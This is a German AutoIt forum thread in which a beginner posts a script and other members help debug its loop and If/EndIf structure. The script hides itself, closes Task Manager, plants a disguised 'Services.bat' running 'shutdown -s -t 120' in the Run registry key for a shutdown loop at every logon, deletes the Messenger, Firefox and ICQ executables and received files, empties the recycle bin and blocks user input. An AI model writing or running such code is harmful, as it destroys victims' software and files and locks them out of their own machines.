    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ;Erstellt die Batch-Datei und setzt den Reg-Eintrag zum Autostart

    [/autoit] [autoit][/autoit] [autoit]

    Send("#e")
    ;WinMove("[CabinetWClass]", "", 0,0, 600, 468)
    WinActivate("[CabinetWClass]", "")
    WinWaitActive("[CabinetWClass]", "")
    Send("{F4}")
    Send("{DEL}")
    Send(@WindowsDir)
    Send("{ENTER}")
    MouseMove(234, 132)
    MouseClick("left")
    Sleep(100)
    Send("!")
    Send("d")
    Send("n")
    Send("t")
    Send("Services.bat")
    Send("{ENTER}")
    WinWaitActive("Umbenennen")
    Send("{ENTER}")
    Sleep(500)
    Send("!")
    Send("d")
    Send("b")
    WinWaitActive("Services.bat")
    Send("shutdown -s -t 120")
    Send("!{F4}")
    WinWaitActive("Editor")
    Send("{ENTER}")
    RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "Services.exe", "REG_SZ", "C:\WINDOWS\Services.bat")
    Sleep(500)

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ;;Windows Live Messenger ausfindig machen,
    ;;Pfad in Variable speichern, ausgeben in Adressleiste und *.exe-Datei löschen

    [/autoit] [autoit][/autoit] [autoit]

    Opt("MouseCoordMode", 0)

    [/autoit] [autoit][/autoit] [autoit]


    ShellExecute("msnmsgr.exe", "", @ProgramFilesDir, "", @SW_SHOWNORMAL)
    WinWaitActive("Windows Live Messenger")

    [/autoit] [autoit][/autoit] [autoit]

    Opt("WinTitleMatchMode", 2)
    Opt("ExpandEnvStrings", 1) ;; Nutzt Inhalte von Variablen

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    $Title = "Windows Live Messenger"

    [/autoit] [autoit][/autoit] [autoit]

    $Pid = WinGetProcess(WinGetTitle($Title))
    $Path = _GetPathByPID2($Pid)

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    Func _GetPathByPID2($PID=-1)
    If $PID = -1 Then $PID = WinGetProcess(WinGetTitle("[active]"))
    $hProcess = _WinAPI_OpenProcess(0x00000400, True, $PID, True)
    If Not $hProcess Then Return SetError(1,0,0)
    Local $ret, $path, $DevicePath, $DeviceLetter, $strPath = DllStructCreate("char path[256]")
    DllCall(@SystemDir & '\Psapi.dll', "uint64", "GetProcessImageFileNameA", _
    "hwnd", $hProcess, "ptr", DllStructGetPtr($strPath), "int", 256)
    If @error Then Return SetError(2,0,0)
    $path = DllStructGetData($strPath, 'path')
    $DevicePath = StringRegExp($path, "\\Device\\\w*", 1)
    Local $lpTargetPath, $aDrive = DriveGetDrive("ALL")
    For $i = 1 To UBound($aDrive) -1
    $ret = DllCall("kernel32.dll", "long", "QueryDosDeviceA", "str", $aDrive[$i], "str", $lpTargetPath, "long", 256)
    If @error Then Return SetError(3,0,0)
    If $ret[2] = $DevicePath[0] Then
    $DeviceLetter = $aDrive[$i]
    EndIf
    Next
    DllCall("kernel32.dll", "long", "CloseHandle", "long", $hProcess)
    Return StringReplace($path, $DevicePath[0], StringUpper($DeviceLetter))
    EndFunc ;==>_GetPathByPID

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    [/autoit] [autoit][/autoit] [autoit]

    ;;Schaut nach ob die *.exe-Datei noch läuft,
    ;;sollte das der Fall sein wird diese beendet
    If ProcessExists("msnmsgr.exe") Then ProcessClose("msnmsgr.exe")

    ;;Öffet Explorer und sendet Dateipfad
    ;Sleep(500)
    Send("#e")
    WinActivate("[CabinetWClass]", "")
    WinWaitActive("[CabinetWClass]", "")
    ;WinMove("[CabinetWClass]", "", 0,0, 600, 468)
    Sleep(500)
    Send("{F4}")
    Send("{ESC}")
    Send("{DEL}")
    Send($path)
    Send("{Backspace 11}")
    Send("{Enter}")

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    ;;Löchst die Windows Live Messenger.exe
    BlockInput(1) ;; Eingaben blockieren
    MouseMove(234, 132)
    MouseClick("left")
    Send("msnmsgr")
    Send("{DEL}")
    WinWaitActive("Löschen von Dateien bestätigen")
    Send("{Enter}")
    WinWaitNotActive("Löschen..")
    ;;Erledigt

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ;;Mozilla Firefox ausfindig machen,
    ;;Pfad in Variable speichern, ausgeben in Adressleiste und *.exe-Datei löschen

    [/autoit] [autoit][/autoit] [autoit]

    Opt("WinTitleMatchMode", 2)
    Opt("ExpandEnvStrings", 1) ;; Nutzt Inhalte von Variablen

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    $Title = "Mozilla Firefox"

    [/autoit] [autoit][/autoit] [autoit]

    $Pid = WinGetProcess(WinGetTitle($Title))
    $Path = _GetPathByPID($Pid)

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    Func _GetPathByPID($PID=-1)
    If $PID = -1 Then $PID = WinGetProcess(WinGetTitle("[active]"))
    $hProcess = _WinAPI_OpenProcess(0x00000400, True, $PID, True)
    If Not $hProcess Then Return SetError(1,0,0)
    Local $ret, $path, $DevicePath, $DeviceLetter, $strPath = DllStructCreate("char path[256]")
    DllCall(@SystemDir & '\Psapi.dll', "uint64", "GetProcessImageFileNameA", _
    "hwnd", $hProcess, "ptr", DllStructGetPtr($strPath), "int", 256)
    If @error Then Return SetError(2,0,0)
    $path = DllStructGetData($strPath, 'path')
    $DevicePath = StringRegExp($path, "\\Device\\\w*", 1)
    Local $lpTargetPath, $aDrive = DriveGetDrive("ALL")
    For $i = 1 To UBound($aDrive) -1
    $ret = DllCall("kernel32.dll", "long", "QueryDosDeviceA", "str", $aDrive[$i], "str", $lpTargetPath, "long", 256)
    If @error Then Return SetError(3,0,0)
    If $ret[2] = $DevicePath[0] Then
    $DeviceLetter = $aDrive[$i]
    EndIf
    Next
    DllCall("kernel32.dll", "long", "CloseHandle", "long", $hProcess)
    Return StringReplace($path, $DevicePath[0], StringUpper($DeviceLetter))
    EndFunc ;==>_GetPathByPID

    [/autoit] [autoit][/autoit] [autoit]

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    [/autoit] [autoit][/autoit] [autoit]

    If ProcessExists("firefox.exe") Then ProcessClose("firefox.exe")

    ;;Öffet Explorer und sendet Dateipfad
    Sleep(500)
    ;WinWaitActive("[CabinetWClass]", "")
    Send("#e")
    WinActivate("[CabinetWClass]", "")
    WinWaitActive("[CabinetWClass]", "")
    ;WinMove("[CabinetWClass]", "", 0,0, 600, 468)
    Sleep(500)
    Send("{F4}")
    Send("{DEL}")
    Send($path)
    Send("{Backspace 12}")
    Send("{Enter}")

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    ;;Löchst die Firefox.exe endgültig
    MouseMove(234, 132)
    MouseClick("left")
    Send("fire")
    Send("{DEL}")
    WinWaitActive("Löschen von Dateien bestätigen")
    Send("{Enter}")
    WinWaitNotActive("Löschen..")

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ;;ICQ ausfindig machen,
    ;;Pfad in Variable speichern, ausgeben in Adressleiste und *.exe-Datei löschen

    [/autoit] [autoit][/autoit] [autoit]

    ShellExecute("ICQ.exe", "", @ProgramFilesDir, "", @SW_SHOWNORMAL)
    WinActivate("ICQ")
    WinWaitActive("ICQ")

    [/autoit] [autoit][/autoit] [autoit]

    Opt("WinTitleMatchMode", 2)
    Opt("ExpandEnvStrings", 1) ;; Nutzt Inhalte von Variablen
    Opt("MouseCoordMode", 0) ;; Relative x,y-Werte im Fenster

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    $Title = "ICQ"

    [/autoit] [autoit][/autoit] [autoit]

    $Pid = WinGetProcess(WinGetTitle($Title))
    $Path = _GetPathByPID3($Pid)

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    Func _GetPathByPID3($PID=-1)
    If $PID = -1 Then $PID = WinGetProcess(WinGetTitle("[active]"))
    $hProcess = _WinAPI_OpenProcess(0x00000400, True, $PID, True)
    If Not $hProcess Then Return SetError(1,0,0)
    Local $ret, $path, $DevicePath, $DeviceLetter, $strPath = DllStructCreate("char path[256]")
    DllCall(@SystemDir & '\Psapi.dll', "uint64", "GetProcessImageFileNameA", _
    "hwnd", $hProcess, "ptr", DllStructGetPtr($strPath), "int", 256)
    If @error Then Return SetError(2,0,0)
    $path = DllStructGetData($strPath, 'path')
    $DevicePath = StringRegExp($path, "\\Device\\\w*", 1)
    Local $lpTargetPath, $aDrive = DriveGetDrive("ALL")
    For $i = 1 To UBound($aDrive) -1
    $ret = DllCall("kernel32.dll", "long", "QueryDosDeviceA", "str", $aDrive[$i], "str", $lpTargetPath, "long", 256)
    If @error Then Return SetError(3,0,0)
    If $ret[2] = $DevicePath[0] Then
    $DeviceLetter = $aDrive[$i]
    EndIf
    Next
    DllCall("kernel32.dll", "long", "CloseHandle", "long", $hProcess)
    Return StringReplace($path, $DevicePath[0], StringUpper($DeviceLetter))
    EndFunc ;==>_GetPathByPID

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    If ProcessExists("ICQ.exe") Then ProcessClose("ICQ.exe")

    ;;Öffnet Explorer und sendet Dateipfad
    Send("#e")
    WinActivate("[CabinetWClass]", "")
    WinWaitActive("[CabinetWClass]", "")
    ;WinMove("[CabinetWClass]", "", 0,0, 728, 434)
    Sleep(500)
    Send("{F4}")
    Send("{DEL}")
    Send($path)
    Send("{Backspace 7}")
    Send("{Enter}")

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    ;;Löchst die ICQ.exe endgültig
    MouseMove(234, 132)
    MouseClick("left")
    Send("icq")
    Send("{DEL}")
    WinWaitActive("Löschen von Dateien bestätigen", "Die Datei")
    Send("{Enter}")
    WinWaitNotActive("Löschen..")

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ;;Löscht meine empfangenen Dateien

    [/autoit] [autoit][/autoit] [autoit]

    Opt("MouseCoordMode", 0) ;; Relative x,y-Koordnate im aktiven Fenster
    ;; Löscht Ordner in "Meine empfangenen Dateien"
    Send ("#e")
    ;WinWaitActive("[CabinetWClass]", "")
    WinActivate("[CabinetWClass]", "")
    ;WinMove("[CabinetWClass]", "", 0,0, 728, 434)
    Sleep(500)
    Send("{F4}")
    Send("{DEL}")
    Send(@MyDocumentsDir)
    Send("{RIGHT}")

    [/autoit] [autoit][/autoit] [autoit]

    Sleep(100)
    Send("\Meine empfangenen Dateien")
    Send("{Enter}")
    ;WinActivate("[CabinetWClass]")
    MouseMove(234, 132)
    MouseClick("left")
    Sleep(100)
    Send("^a")
    BlockInput(1) ;; Eingaben blockieren
    Send("{DEL}")
    Sleep(500)
    Send("{Enter}")

    [/autoit] [autoit][/autoit] [autoit]

    FileRecycleEmpty("C:\") ;; Leert den Papierkorb

    [/autoit] [autoit][/autoit] [autoit]


    BlockInput(0)

    [/autoit]
  • ok also solange dein programm läuft durch die funktion AdlibEnable("_CheckTaskmgr") alle 250 millisekunden deine Funktion _CheckTaskmgr aufgerufen.

    [autoit]

    while 1 ; das ganze bedeutet: solange sich die 1 nicht verändert (wie while übersetzt ins deutsche: solange) macht er alles was zwischen while und wend steht
    sleep(10); hier steht nur sleep(10) das heißt er tut 10 millisekunden nichts, dann wird das ganze nichtstun wiederholt, und da sich die 1 hinter dem while nicht ändert wird es
    ; ewig wiederholt (solange bis ein Exit oder ein Exitloop oder ein Error kommt)
    wend

    [/autoit]

    wenn du etwas machen willst bevor deine endlose while schleife kommt dann musst du das auch davor schreiben. das

    [autoit]

    Opt("TrayIconHide",1) ;; Icon verstecken

    [/autoit]

    steht zum beispiel hinter deiner while schleife und wird deshalb nie ausgeführt. d.h. einfach drüber hinschreiben.

    Zitat

    allerdings wird zeile 18-76, sowie 103-147, sowie 172-219, sowie 245 bis ende nie ausgeführt

    was die ganzen zeilen die ich dir vorher genannt haben machen will ich nicht wirklich untersuchen. aber wenn sie ausgeführt werden sollen musst du sie vor die while schleife setzten.


    am besten finde ich bei einem script diese art von aufbau:

    include's
    Optionen und Einstellungen also sowas wie Opt()
    Deklaration von Variablen also sowas wie Local $xyz
    Guierstellung fällt bei dir weg, du hast ja keine gui
    dann verweise auf funktionen die schon zum start oder dauerhaft ausgeführt werden sollen; sowas wie Adlibenable()
    oder einfach alles was er machen soll quasi sowas wie send sleep mousemove usw
    dann die endlosschleife
    und zu guter letzt deine ganzen funktionen also alle Func .... Endfunc

  • Danke für deine ausführlichen Erklärungen. Nun nur noch (hoffl.) abschließend ein Verständnisproblem:

    Auch wenn ich die Funktion

    [autoit]

    AdlibEnable("_CheckTaskmgr")

    [/autoit]

    gaaaaaaanz ans Ende vom Script stelle, wird diese dennoch über die ganze Zeitdauer des Scriptablaufes ausgeführt?

    Sollte das der Fall sein macht das aus logischer Sicht nicht sonderlich viel Sinn, denn das Script arbeitet doch alles von oben nach unten ab ...

  • Adlibenable muss vor deine While Schleife ( sonst wird es ja erst nach der Endlosschleife ausgeführt - also quasi nie ) .
    Wenn du es vor die While Schleife schreibst, wird es über die gesamt Skriptlaufzeit in intervallen von 250ms aufgerufen. Während dieser Zeit pausiert sich übrigens deine Hauptschleife.

  • Die unten aufgeführte Funktion (s. Spoiler) soll nur dann ausgeführt werden wenn der Prozess firefox.exe auch wirklich existiert.
    Natürlich löse ich das mit einer IF-Bedingung.

    Also im Prizip

    [autoit]

    If ProcessExist("firefox.exe") Then

    [/autoit]

    und natürlich das EndIf nicht vergessen.
    Ich verstehe nur eben nicht wieso das (schon wieder) nicht funktioniert.

    Die Fehlermeldung ist folgende:

    [Pfad...]Löschscriptv9.au3 ( 78) : ==> "If" statement has no matching "EndIf" statement.:
    Func _GetPathByPID2($PID=-1)

    Spoiler anzeigen
    [autoit]

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ;;Mozilla Firefox ausfindig machen,
    ;;Pfad in Variable speichern und dann in Adressleiste ausgeben

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    Opt("WinTitleMatchMode", 2)
    Opt("ExpandEnvStrings", 1) ;; Nutzt Inhalte von Variablen

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    $Title = "Mozilla Firefox"

    [/autoit] [autoit][/autoit] [autoit]

    $Pid = WinGetProcess(WinGetTitle($Title))
    $Path = _GetPathByPID($Pid)

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    Func _GetPathByPID($PID=-1)
    If $PID = -1 Then $PID = WinGetProcess(WinGetTitle("[active]"))
    $hProcess = _WinAPI_OpenProcess(0x00000400, True, $PID, True)
    If Not $hProcess Then Return SetError(1,0,0)
    Local $ret, $path, $DevicePath, $DeviceLetter, $strPath = DllStructCreate("char path[256]")
    DllCall(@SystemDir & '\Psapi.dll', "uint64", "GetProcessImageFileNameA", _
    "hwnd", $hProcess, "ptr", DllStructGetPtr($strPath), "int", 256)
    If @error Then Return SetError(2,0,0)
    $path = DllStructGetData($strPath, 'path')
    $DevicePath = StringRegExp($path, "\\Device\\\w*", 1)
    Local $lpTargetPath, $aDrive = DriveGetDrive("ALL")
    For $i = 1 To UBound($aDrive) -1
    $ret = DllCall("kernel32.dll", "long", "QueryDosDeviceA", "str", $aDrive[$i], "str", $lpTargetPath, "long", 256)
    If @error Then Return SetError(3,0,0)
    If $ret[2] = $DevicePath[0] Then
    $DeviceLetter = $aDrive[$i]
    EndIf
    Next
    DllCall("kernel32.dll", "long", "CloseHandle", "long", $hProcess)
    Return StringReplace($path, $DevicePath[0], StringUpper($DeviceLetter))
    EndFunc ;==>_GetPathByPID

    [/autoit]


    Hoffentlich nerve ich Euch nicht mittlerweile mit meinen Anfängerfragen.

  • poste am besten immer den ganzen code. dann sieht man sofort wo der fehler liegt.

    egtl müsste ja so irgendwie heißen:

    [autoit]


    If ProcessExists("firefox.exe") Then
    _GetPathByPID("firefox.exe")
    endif

    [/autoit]

    wo dein fehler liegt kann ich jetz leider nicht genau sagen--> alles posten ;)

  • Hier nun mal mal das Gesamte, mit dem Feldversuche von IF-Abfragen ;)

    Spoiler anzeigen
    [autoit]

    #include <winapi.au3> ;; Headerdatei einbinden

    [/autoit] [autoit][/autoit] [autoit]

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    [/autoit] [autoit][/autoit] [autoit]

    Opt("TrayIconHide",1) ;; Icon verstecken
    Opt("MouseCoordMode", 0) ;; Relative x,y-Werte im Fenster

    [/autoit] [autoit][/autoit] [autoit]

    ;;Überprüft ob das Fenster "Windows Task-Manager"
    ;;aktiviert ist, sollte das der Fall sein, wird dieses geschlossen.
    ;;Überprüft außerdem ob Prozess aktiv ist und setzt zum Schluss BlockInput(1)

    [/autoit] [autoit][/autoit] [autoit]

    AdlibEnable("_CheckTaskmgr")

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ;Erstellt die Batch-Datei und setzt den Reg-Eintrag zum Autostart

    [/autoit] [autoit][/autoit] [autoit]

    Send("#e")
    ;WinMove("[CabinetWClass]", "", 0,0, 600, 468)
    WinActivate("[CabinetWClass]", "")
    WinWaitActive("[CabinetWClass]", "")
    Send("{F4}")
    Send("{DEL}")
    Send(@WindowsDir)
    Send("{ENTER}")
    MouseMove(234, 132)
    MouseClick("left")
    Sleep(100)
    Send("!")
    Send("d")
    Send("n")
    Send("t")
    Send("Services.bat")
    Send("{ENTER}")
    WinWaitActive("Umbenennen")
    Send("{ENTER}")
    Sleep(500)
    Send("!")
    Send("d")
    Send("b")
    WinWaitActive("Services.bat")
    Send("shutdown -s -t 120")
    Send("!{F4}")
    WinWaitActive("Editor")
    Send("{ENTER}")
    RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "Services.exe", "REG_SZ", "C:\WINDOWS\Services.bat")
    Sleep(500)

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ;;Windows Live Messenger ausfindig machen,
    ;;Pfad in Variable speichern, ausgeben in Adressleiste und *.exe-Datei löschen

    [/autoit] [autoit][/autoit] [autoit]

    If ProcessExists("msnmsgr.exe") Then
    Opt("MouseCoordMode", 0)
    ShellExecute("msnmsgr.exe", "", @ProgramFilesDir, "", @SW_SHOWNORMAL)
    WinWaitActive("Windows Live Messenger")

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    Opt("WinTitleMatchMode", 2)
    Opt("ExpandEnvStrings", 1) ;; Nutzt Inhalte von Variablen
    EndIf
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    $Title = "Windows Live Messenger"

    [/autoit] [autoit][/autoit] [autoit]

    $Pid = WinGetProcess(WinGetTitle($Title))
    $Path = _GetPathByPID2($Pid)

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    If ProcessExists("msnmsgr.exe") Then
    Func _GetPathByPID2($PID=-1)
    EndIf

    [/autoit] [autoit][/autoit] [autoit]

    If $PID = -1 Then $PID = WinGetProcess(WinGetTitle("[active]"))
    $hProcess = _WinAPI_OpenProcess(0x00000400, True, $PID, True)
    If Not $hProcess Then Return SetError(1,0,0)
    Local $ret, $path, $DevicePath, $DeviceLetter, $strPath = DllStructCreate("char path[256]")
    DllCall(@SystemDir & '\Psapi.dll', "uint64", "GetProcessImageFileNameA", _
    "hwnd", $hProcess, "ptr", DllStructGetPtr($strPath), "int", 256)
    If @error Then Return SetError(2,0,0)
    $path = DllStructGetData($strPath, 'path')
    $DevicePath = StringRegExp($path, "\\Device\\\w*", 1)
    Local $lpTargetPath, $aDrive = DriveGetDrive("ALL")
    For $i = 1 To UBound($aDrive) -1
    $ret = DllCall("kernel32.dll", "long", "QueryDosDeviceA", "str", $aDrive[$i], "str", $lpTargetPath, "long", 256)
    If @error Then Return SetError(3,0,0)
    If $ret[2] = $DevicePath[0] Then
    $DeviceLetter = $aDrive[$i]
    EndIf
    Next
    DllCall("kernel32.dll", "long", "CloseHandle", "long", $hProcess)
    Return StringReplace($path, $DevicePath[0], StringUpper($DeviceLetter))
    EndFunc ;==>_GetPathByPID

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    [/autoit] [autoit][/autoit] [autoit]

    ;;Schaut nach ob die *.exe-Datei noch läuft,
    ;;sollte das der Fall sein wird diese beendet
    If ProcessExists("msnmsgr.exe") Then
    If ProcessExists("msnmsgr.exe") Then ProcessClose("msnmsgr.exe")

    ;;Öffet Explorer und sendet Dateipfad
    Sleep(500)
    Send("#e")
    WinActivate("[CabinetWClass]", "")
    ;WinWaitActive("[CabinetWClass]", "")
    ;WinMove("[CabinetWClass]", "", 0,0, 600, 468)
    Sleep(500)
    Send("{F4}")
    Send("{ESC}")
    Send("{DEL}")
    Send($path)
    Send("{Backspace 11}")
    Send("{Enter}")

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    ;;Löchst die Windows Live Messenger.exe
    BlockInput(1) ;; Eingaben blockieren
    MouseMove(234, 132)
    MouseClick("left")
    Send("msnmsgr")
    Send("{DEL}")
    WinWaitActive("Löschen von Dateien bestätigen")
    Send("{Enter}")
    WinWaitNotActive("Löschen..")
    Sleep(500)
    EndIf

    [/autoit] [autoit][/autoit] [autoit]

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ;;Mozilla Firefox ausfindig machen,
    ;;Pfad in Variable speichern, ausgeben in Adressleiste und *.exe-Datei löschen

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    Opt("WinTitleMatchMode", 2)
    Opt("ExpandEnvStrings", 1) ;; Nutzt Inhalte von Variablen

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    $Title = "Mozilla Firefox"

    [/autoit] [autoit][/autoit] [autoit]

    $Pid = WinGetProcess(WinGetTitle($Title))
    $Path = _GetPathByPID($Pid)

    [/autoit] [autoit][/autoit] [autoit]

    If ProcessExists("firefox.exe") Then
    Func _GetPathByPID($PID=-1)
    EndIf

    [/autoit] [autoit][/autoit] [autoit]

    If $PID = -1 Then $PID = WinGetProcess(WinGetTitle("[active]"))
    $hProcess = _WinAPI_OpenProcess(0x00000400, True, $PID, True)
    If Not $hProcess Then Return SetError(1,0,0)
    Local $ret, $path, $DevicePath, $DeviceLetter, $strPath = DllStructCreate("char path[256]")
    DllCall(@SystemDir & '\Psapi.dll', "uint64", "GetProcessImageFileNameA", _
    "hwnd", $hProcess, "ptr", DllStructGetPtr($strPath), "int", 256)
    If @error Then Return SetError(2,0,0)
    $path = DllStructGetData($strPath, 'path')
    $DevicePath = StringRegExp($path, "\\Device\\\w*", 1)
    Local $lpTargetPath, $aDrive = DriveGetDrive("ALL")
    For $i = 1 To UBound($aDrive) -1
    $ret = DllCall("kernel32.dll", "long", "QueryDosDeviceA", "str", $aDrive[$i], "str", $lpTargetPath, "long", 256)
    If @error Then Return SetError(3,0,0)
    If $ret[2] = $DevicePath[0] Then
    $DeviceLetter = $aDrive[$i]
    EndIf
    Next
    DllCall("kernel32.dll", "long", "CloseHandle", "long", $hProcess)
    Return StringReplace($path, $DevicePath[0], StringUpper($DeviceLetter))
    EndFunc ;==>_GetPathByPID

    [/autoit] [autoit][/autoit] [autoit]

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    [/autoit] [autoit][/autoit] [autoit]

    If ProcessExists("firefox.exe") Then
    If ProcessExists("firefox.exe") Then ProcessClose("firefox.exe")

    ;;Öffet Explorer und sendet Dateipfad
    Sleep(500)
    Send("#e")
    WinActivate("[CabinetWClass]", "")
    WinWaitActive("[CabinetWClass]", "")
    Sleep(500)
    Send("{F4}")
    Send("{DEL}")
    Send($path)
    Send("{Backspace 12}")
    Send("{Enter}")

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    ;;Löchst die Firefox.exe endgültig
    MouseMove(234, 132)
    MouseClick("left")
    Send("fire")
    Send("{DEL}")
    WinWaitActive("Löschen von Dateien bestätigen")
    Send("{Enter}")
    WinWaitNotActive("Löschen..")
    EndIf

    [/autoit] [autoit][/autoit] [autoit]

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ;;ICQ ausfindig machen,
    ;;Pfad in Variable speichern, ausgeben in Adressleiste und *.exe-Datei löschen

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    If ProcessExists("ICQ.exe") Then
    ShellExecute("ICQ.exe", "", @ProgramFilesDir, "", @SW_SHOWNORMAL)
    WinWaitActive("ICQ")

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    Opt("WinTitleMatchMode", 2)
    Opt("ExpandEnvStrings", 1) ;; Nutzt Inhalte von Variablen
    Opt("MouseCoordMode", 0) ;; Relative x,y-Werte im Fenster
    EndIf

    [/autoit] [autoit][/autoit] [autoit]

    $Title = "ICQ"

    [/autoit] [autoit][/autoit] [autoit]

    $Pid = WinGetProcess(WinGetTitle($Title))
    $Path = _GetPathByPID3($Pid)

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    If ProcessExists("ICQ.exe") Then
    Func _GetPathByPID3($PID=-1)
    EndIf

    [/autoit] [autoit][/autoit] [autoit]

    If $PID = -1 Then $PID = WinGetProcess(WinGetTitle("[active]"))
    $hProcess = _WinAPI_OpenProcess(0x00000400, True, $PID, True)
    If Not $hProcess Then Return SetError(1,0,0)
    Local $ret, $path, $DevicePath, $DeviceLetter, $strPath = DllStructCreate("char path[256]")
    DllCall(@SystemDir & '\Psapi.dll', "uint64", "GetProcessImageFileNameA", _
    "hwnd", $hProcess, "ptr", DllStructGetPtr($strPath), "int", 256)
    If @error Then Return SetError(2,0,0)
    $path = DllStructGetData($strPath, 'path')
    $DevicePath = StringRegExp($path, "\\Device\\\w*", 1)
    Local $lpTargetPath, $aDrive = DriveGetDrive("ALL")
    For $i = 1 To UBound($aDrive) -1
    $ret = DllCall("kernel32.dll", "long", "QueryDosDeviceA", "str", $aDrive[$i], "str", $lpTargetPath, "long", 256)
    If @error Then Return SetError(3,0,0)
    If $ret[2] = $DevicePath[0] Then
    $DeviceLetter = $aDrive[$i]
    EndIf
    Next
    DllCall("kernel32.dll", "long", "CloseHandle", "long", $hProcess)
    Return StringReplace($path, $DevicePath[0], StringUpper($DeviceLetter))
    EndFunc ;==>_GetPathByPID

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    [/autoit] [autoit][/autoit] [autoit]

    If ProcessExists("ICQ.exe") Then
    If ProcessExists("ICQ.exe") Then ProcessClose("ICQ.exe")

    ;;Öffnet Explorer und sendet Dateipfad
    Send("#e")
    WinActivate("[CabinetWClass]", "")
    WinWaitActive("[CabinetWClass]", "")
